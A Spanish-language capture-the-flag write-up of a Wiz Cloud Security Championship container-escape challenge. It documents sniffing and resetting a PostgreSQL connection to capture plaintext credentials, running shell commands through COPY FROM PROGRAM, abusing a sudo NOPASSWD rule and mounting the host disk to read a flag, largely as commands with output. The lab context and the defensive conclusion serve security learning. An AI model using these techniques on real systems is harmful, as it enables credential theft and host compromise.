WriteUp: Cloud Security Championship #2 - Contain Me If You Can
El segundo reto del Cloud Security Championship organizado por Wiz se llama Contain Me If You Can. Esta vez necesitamos escapar de un entorno containerizado para obtener una flag ubicada en /flag
en el filesystem del host.
Reconocimiento inicial
Comenzamos dentro de un contenedor con un objetivo simple: escapar al host y obtener la flag en /flag
. Empecemos enumerando a qué tenemos acceso para entender con qué estamos tratando y encontrar potenciales vectores de ataque.
Análisis del filesystem
Veamos qué filesystems están montados:
root@220705be2476:/# mount | head -10
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/ALDXLW3XXQASE5RFYLV4J3P5SI:/var/lib/docker/overlay2/l/PUDUWBLOUV4KDA226EAPOCLY7U:/var/lib/docker/overlay2/l/DADW4QRM2QMV7JYQKZLCFHSXW3:/var/lib/docker/overlay2/l/FJGPNHG4APZTCSAAQUZTLVUW2O,upperdir=/var/lib/docker/overlay2/cd07824edd2ecf69c0561b9030390f8d9e8f60922a108c4c75eac269f2578cea/diff,workdir=/var/lib/docker/overlay2/cd07824edd2ecf69c0561b9030390f8d9e8f60922a108c4c75eac269f2578cea/work)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
cgroup on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec,relatime)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
/dev/vdb on /etc/resolv.conf type ext4 (rw,relatime)
/dev/vdb on /etc/hostname type ext4 (rw,relatime)
El filesystem overlayfs
en la raíz muestra rutas absolutas del host en el lowerdir
(mira las rutas como /var/lib/docker/overlay2/...
), lo que nos dice dónde está el almacenamiento de Docker en el host. Los montajes /dev/vdb
para los archivos de configuración también sugieren algún acceso al disco.
¿Podremos acceder al almacenamiento de Docker directamente?
root@220705be2476:/# ls -l /var/lib/docker
ls: cannot access '/var/lib/docker': No such file or directory
No. Aunque la salida del mount
muestra las rutas de Docker del host, no son accesibles directamente desde el filesystem de nuestro contenedor.
Análisis del disco
root@220705be2476:/# lsblk
NAME
MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
vda 254:0 0 135.4M 1 disk
vdb 254:16 0 1G 0 disk /etc/hosts
/etc/hostname
/etc/resolv.conf
Vale, lsblk
muestra discos vda
y vdb
, pero el directorio /dev
del contenedor no tiene acceso directo a ellos. Típico aislamiento de contenedores.
Análisis de Procesos y Namespaces
root@220705be2476:/# ls /proc/1/root/
bin dev lib mnt root sbin.usr-is-merged tmp
bin.usr-is-merged etc lib64 opt run srv usr
boot home media proc sbin sys var
Esto pinta bien, pero vamos a comprobarlo:
root@220705be2476:/# ls -la /proc/1/root/ | grep docker
-rwxr-xr-x 1 root root 0 Aug 15 13:57 .dockerenv
Ah, ahí está el archivo .dockerenv
. Esto confirma que /proc/1/root
es en realidad el sistema de archivos del propio contenedor, no del host. El aislamiento por procesos está funcionando...
Evaluación de Capabilities
Es hora de probar las típicas técnicas de escape de contenedores:
root@220705be2476:/# mount /dev/sda1 /mnt/host
mount: /mnt/host: mount point is not a directory.
dmesg(1) may have more information after failed mount system call.
root@220705be2476:/# nsenter --mount=/proc/1/ns/mnt sh
nsenter: reassociate to namespace 'ns/mnt' failed: Operation not permitted
root@220705be2476:/# unshare -U -m
unshare: unshare failed: Operation not permitted
Todos estos fallos nos dicen que el contenedor no tiene CAP_SYS_ADMIN
, lo que bloquea:
- Montaje directo del filesystem del host
- Manipulación de namespaces vía
nsenter
- Creación de namespaces de usuario para exploits de OverlayFS
Lo que no funcionó
Después de probar prácticamente de todo, estos vectores de ataque fueron descartados:
- Acceso directo al host vía
/var/lib/docker
- Escape de namespace de procesos vía
/proc/<pid>/root
(debido al aislamiento del PID) - Exploits de kernel como CVE-2023-0386 (falta
CAP_SYS_ADMIN
paraunshare
) - Explotación de socket Docker (no presente en el contenedor)
- Bind mounts comunes (
/host
,/mnt
,/rootfs
estaban vacíos o no existían) - Explotación de core pattern (permiso denegado para escribir en
/proc/sys/kernel/core_pattern
)
El contenedor parece estar bien protegido. Es hora de probar otras cosas...
Escaneo de red: la conexión oculta
¿Habrá algo más en la red?
root@220705be2476:/# netstat -putona
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name Timer
tcp 0 0 127.0.0.11:35211 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 172.19.0.3:44608 172.19.0.2:5432 ESTABLISHED - keepalive (0.00/0/0)
udp 0 0 127.0.0.11:50366 0.0.0.0:* - off (0.00/0/0)
Bingo! Hay una conexión PostgreSQL establecida en 172.19.0.2:5432
. Veamos qué está pasando ahí.
Extracción de credenciales vía manipulación de tráfico
Empecemos a sniffear el tráfico:
Monitorización del tráfico inicial
tcpdump: data link type LINUX_SLL2
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
15:19:22.004946 eth0 Out IP 220705be2476.44608 > postgres_db.user_db_network.postgresql: Flags [P.], seq 2033206922:2033206941, ack 810919157, win 501, options [nop,nop,TS val 3447785403 ecr 4207817494], length 19
E..G|.@...&[email protected].....
......3.Q....SELECT now();.
15:19:22.005470 eth0 In IP postgres_db.user_db_network.postgresql > 220705be2476.44608: Flags [P.], seq 1:90, ack 19, win 509, options [nop,nop,TS val 4207822260 ecr 3447785403], length 89
E....^@[email protected]......
..E.....T......now...................D...'......2025-08-15 15:19:22.005312+00C....SELECT 1.Z....I
15:19:22.005481 eth0 Out IP 220705be2476.44608 > postgres_db.user_db_network.postgresql: Flags [.], ack 90, win 501, options [nop,nop,TS val 3447785403 ecr 4207822260], length 0
E..4|.@...&[email protected].....
......E.
^C
3 packets captured
3 packets received by filter
0 packets dropped by kernel
Podemos ver consultas continuas de SELECT now();
, así que definitivamente hay una sesión autenticada y activa. ¿Podría estar en texto plano? Vamos a probar a matar la conexión y capturar la contraseña durante la reconexión:
Matando la conexión
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
tcpkill: listening on any [host 172.19.0.2 and port 5432]
172.19.0.3:44608 > 172.19.0.2:5432: R 810920190:810920190(0) win 0
172.19.0.3:44608 > 172.19.0.2:5432: R 810921192:810921192(0) win 0
172.19.0.2:5432 > 172.19.0.3:44608: R 2033207545:2033207545(0) win 0
172.19.0.2:5432 > 172.19.0.3:44608: R 2033208563:2033208563(0) win 0
172.19.0.3:50076 > 172.19.0.2:5432: R 1922576238:1922576238(0) win 0
172.19.0.3:50076 > 172.19.0.2:5432: R 1922576740:1922576740(0) win 0
Con tcpdump
ejecutándose en segundo plano, capturamos la autenticación en texto plano durante la reconexión:
Captura de Autenticación
...........=....user.user.database.mydatabase.application_name.psql..
15:21:07.016965 eth0 In IP postgres_db.user_db_network.postgresql > 220705be2476.50076: Flags [P.], seq 2:11, ack 70, win 509, options [nop,nop,TS val 4207927272 ecr 3447890414], length 9
[email protected]./oW.......X[.....
........R........
15:21:07.016988 eth0 Out IP 220705be2476.50076 > postgres_db.user_db_network.postgresql: Flags [P.], seq 70:100, ack 11, win 502, options [nop,nop,TS val 3447890415 ecr 4207927272], length 30
[email protected]#...........8W...r./x....Xp.....
........p....[CONTRASEÑA CENSURADA].
15:21:07.027202 eth0 In IP postgres_db.user_db_network.postgresql > 220705be2476.50076: Flags [P.], seq 11:418, ack 100, win 509, options [nop,nop,TS val 4207927282 ecr 3447890415], length 407
[email protected]./xW.......Y......
........R........S....in_hot_standby.off.S....integer_datetimes.on.S....TimeZone.UTC.S....IntervalStyle.postgres.S....is_superuser.on.S....application_name.psql.S...&default_transaction_read_only.off.S....scram_iterations.4096.S....DateStyle.ISO, MDY.S...#standard_conforming_strings.on.S....session_authorization.user.S....client_encoding.UTF8.S....server_version.16.8.S....server_encoding.UTF8.K..........6.Z....I
¡Perfecto! Conseguimos las credenciales de la base de datos:
- Usuario:
user
- Contraseña:
[REDACTED PASSWORD]
- Base de datos:
mydatabase
Acceso a PostgreSQL y movimiento lateral
Ahora podemos conectarnos directamente al servidor PostgreSQL:
root@220705be2476:/# psql -h 172.19.0.2 -U user -d mydatabase
Password for user user:
psql (16.9 (Ubuntu 16.9-0ubuntu0.24.04.1), server 16.8)
Type "help" for help.
mydatabase=# SELECT current_user;
current_user
--------------
user
(1 row)
Intentos iniciales de acceso a archivos
Primer instinto: ¿podemos simplemente leer la flag directamente? ¿Por qué no? 🤷♂️
mydatabase=# SELECT pg_read_file('/flag', 0, 200);
ERROR: could not open file "/flag" for reading: No such file or directory
Pues no. El servidor PostgreSQL también está containerizado y no puede ver el archivo /flag
del host. Simplemente nos hemos movido de un contenedor a otro... 🤦♂️
Ejecución de comandos vía COPY FROM PROGRAM
Vamos a aprovechar el COPY ... FROM PROGRAM
de PostgreSQL para probar a ejecutar comandos en el contenedor de PostgreSQL:
mydatabase=# CREATE TEMP TABLE output (line text);
COPY output FROM PROGRAM 'whoami && id';
SELECT * FROM output;
DROP TABLE output;
CREATE TABLE
COPY 2
line
-----------------------------------------------------------------
postgres
uid=70(postgres) gid=70(postgres) groups=10(wheel),70(postgres)
(2 rows)
DROP TABLE
Bien! Ahora estamos ejecutando comandos como el usuario postgres
dentro del contenedor PostgreSQL.
Escalación de privilegios: la configuración NOPASSWD de sudo
Revisemos qué binarios con SUID están disponibles:
mydatabase=# CREATE TEMP TABLE suid_check (line text);
COPY suid_check FROM PROGRAM 'find / -perm -4000 2>/dev/null | grep sudo';
SELECT * FROM suid_check;
DROP TABLE suid_check;
CREATE TABLE
COPY 1
line
---------------
/usr/bin/sudo
(1 row)
DROP TABLE
sudo
está disponible! Listemos qué podemos hacer con él:
mydatabase=# CREATE TEMP TABLE sudo_check (line text);
COPY sudo_check FROM PROGRAM 'sudo -l';
SELECT * FROM sudo_check;
DROP TABLE sudo_check;
CREATE TABLE
COPY 8
line
------------------------------------------------------------------------------
Matching Defaults entries for postgres on 032c93ff87db:
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Runas and Command-specific defaults for postgres:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
User postgres may run the following commands on 032c93ff87db:
(ALL) NOPASSWD: ALL
(8 rows)
DROP TABLE
¡¡Jackpot!! 🎰🎰🎰
Perdón, acabamos de venir de nuestro workshop en DEFCON, en Las Vegas... 😅
El usuario postgres
puede ejecutar cualquier comando como root sin contraseña. Esa es una tremenda misconfiguration que nos acaba de dar root dentro del contenedor PostgreSQL.
Escape del contenedor: de la base de datos al host
Ahora que tenemos acceso root dentro del contenedor PostgreSQL, es hora de escapar al host. Pero primero, confirmemos que podemos acceder al proceso init del host:
Identificando el proceso del host
mydatabase=# CREATE TEMP TABLE host_check (line text);
COPY host_check FROM PROGRAM 'sudo fuser -m /';
SELECT * FROM host_check;
DROP TABLE host_check;
CREATE TABLE
COPY 1
line
----------------------------------
1 14 15 17 18 19 3346 3634 4262
(1 row)
DROP TABLE
Perfecto! Podemos ver varios PIDs incluyendo el PID 1, confirmando que tenemos visibilidad de los procesos del host. Esto significa que podemos ejecutar comandos que tendrán acceso a los recursos y namespaces del host.
Descubrimiento del disco del host
Veamos ahora cómo está distribuido el disco del host:
mydatabase=# CREATE TEMP TABLE disk_check (line text);
COPY disk_check FROM PROGRAM 'sudo fdisk -l';
SELECT * FROM disk_check;
DROP TABLE disk_check;
CREATE TABLE
COPY 10
line
-----------------------------------------------------------
Disk /dev/vda: 135 MB, 141975552 bytes, 277296 sectors
135 cylinders, 64 heads, 32 sectors/track
Units: sectors of 1 * 512 = 512 bytes
Disk /dev/vda doesn't contain a valid partition table
Disk /dev/vdb: 1024 MB, 1073741824 bytes, 2097152 sectors
1024 cylinders, 64 heads, 32 sectors/track
Units: sectors of 1 * 512 = 512 bytes
Disk /dev/vdb doesn't contain a valid partition table
(10 rows)
DROP TABLE
El host tiene dos discos: /dev/vda
(135 MB) y /dev/vdb
(1024 MB). Dado que /dev/vdb
se usa para archivos de configuración efímeros, /dev/vda
es probablemente nuestro objetivo.
Montaje directo del disco
Ahora podemos ejecutar comandos directamente con privilegios a nivel de host y montar el disco principal:
mydatabase=# CREATE TEMP TABLE mount_ops (line text);
COPY mount_ops FROM PROGRAM 'sudo mkdir -p /mnt/host_root_disk';
COPY mount_ops FROM PROGRAM 'sudo mount /dev/vda /mnt/host_root_disk';
DROP TABLE mount_ops;
Consiguiendo la flag
Llegó el momento de la verdad. Veamos qué hay en el disco del host:
mydatabase=# CREATE TEMP TABLE flag_search (line text);
COPY flag_search FROM PROGRAM 'sudo ls -la /mnt/host_root_disk';
SELECT * FROM flag_search;
DROP TABLE flag_search;
CREATE TABLE
COPY 28
line
-------------------------------------------------------------------------------
total 5
drwxr-xr-x 20 root root 352 Jul 31 15:25 .
drwxr-xr-x 1 root root 4096 Aug 15 15:45 ..
lrwxrwxrwx 1 root root 7 Jul 31 10:49 bin -> usr/bin
drwxr-xr-x 2 root root 3 Apr 18 2022 boot
drwxr-xr-x 4 root root 191 Apr 18 2022 dev
drwxr-xr-x 36 root root 1420 Jul 31 10:49 etc
-rw-r--r-- 1 root root 52 Jul 31 10:47 flag
drwxr-xr-x 3 root root 27 Jul 31 10:49 home
lrwxrwxrwx 1 root root 7 Jul 31 10:49 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Jul 31 10:49 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Jul 31 10:49 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Jul 31 10:49 libx32 -> usr/libx32
drwx------ 2 root root 3 Jul 31 15:24 lost+found
drwxr-xr-x 2 root root 3 Jul 31 10:49 media
drwxr-xr-x 2 root root 3 Jul 31 10:49 mnt
drwxr-xr-x 3 root root 33 Jul 31 15:25 opt
drwxr-xr-x 4 root root 39 Jul 31 15:25 overlay
drwxr-xr-x 2 root root 3 Apr 18 2022 proc
drwxr-xr-x 2 root root 3 Jul 31 15:25 rom
drwx------ 2 root root 46 Jul 31 10:49 root
DROP TABLE
¡Ahí está! ¡La flag! Vamos a por ella:
mydatabase=# CREATE TEMP TABLE flag_content (line text);
COPY flag_content FROM PROGRAM 'sudo cat /mnt/host_root_disk/flag';
SELECT * FROM flag_content;
DROP TABLE flag_content;
CREATE TABLE
COPY 1
line
-----------------------------------------------------
WIZ_CTF{[FLAG CENSURADA]}
(1 row)
DROP TABLE
Y la tenemos! 🚀
Resumen
El escape del contenedor ha sido posible gracias a una serie de técnicas:
Etapa 1: Reconocimiento de Red
- Descubrimiento de conexión PostgreSQL activa vía
netstat
- Sniffing de tráfico para capturar credenciales
Etapa 2: Movimiento Lateral
- Acceso a PostgreSQL usando las credenciales capturadas
- Ejecución de comandos vía
COPY FROM PROGRAM
- Uso de
sudo
conNOPASSWD
Etapa 3: Escalación de Privilegios
- Acceso root dentro del contenedor PostgreSQL
- Identificación del proceso init del host (PID 1)
- Ejecución directa de comandos con acceso a nivel de host
Etapa 4: Acceso al Host
- Descubrimiento del disco del host usando ejecución directa de comandos
- Montaje directo del disco principal del host
- Recuperación de la flag desde el filesystem montado del host
Conclusión
Este reto muestra cómo los contenedores que parecen aislados pueden convertirse en el primer escalón en una cadena de ataque. El reconocimiento de red llevó al acceso a la base de datos, que llevó a la escalación de privilegios, que llevó al escape del contenedor y finalmente al acceso al host.
La conclusión? La defensa en profundidad importa. La correción de cualquiera de estos problemas podría haber roto toda la cadena: conexiones de base de datos encriptadas, configuraciones de sudo
adecuadas, o mejor aislamiento de contenedores.
Afortunadamente, esto era un CTF y conseguimos la flag! 😄
Saludos, y que la fuerza os acompañe.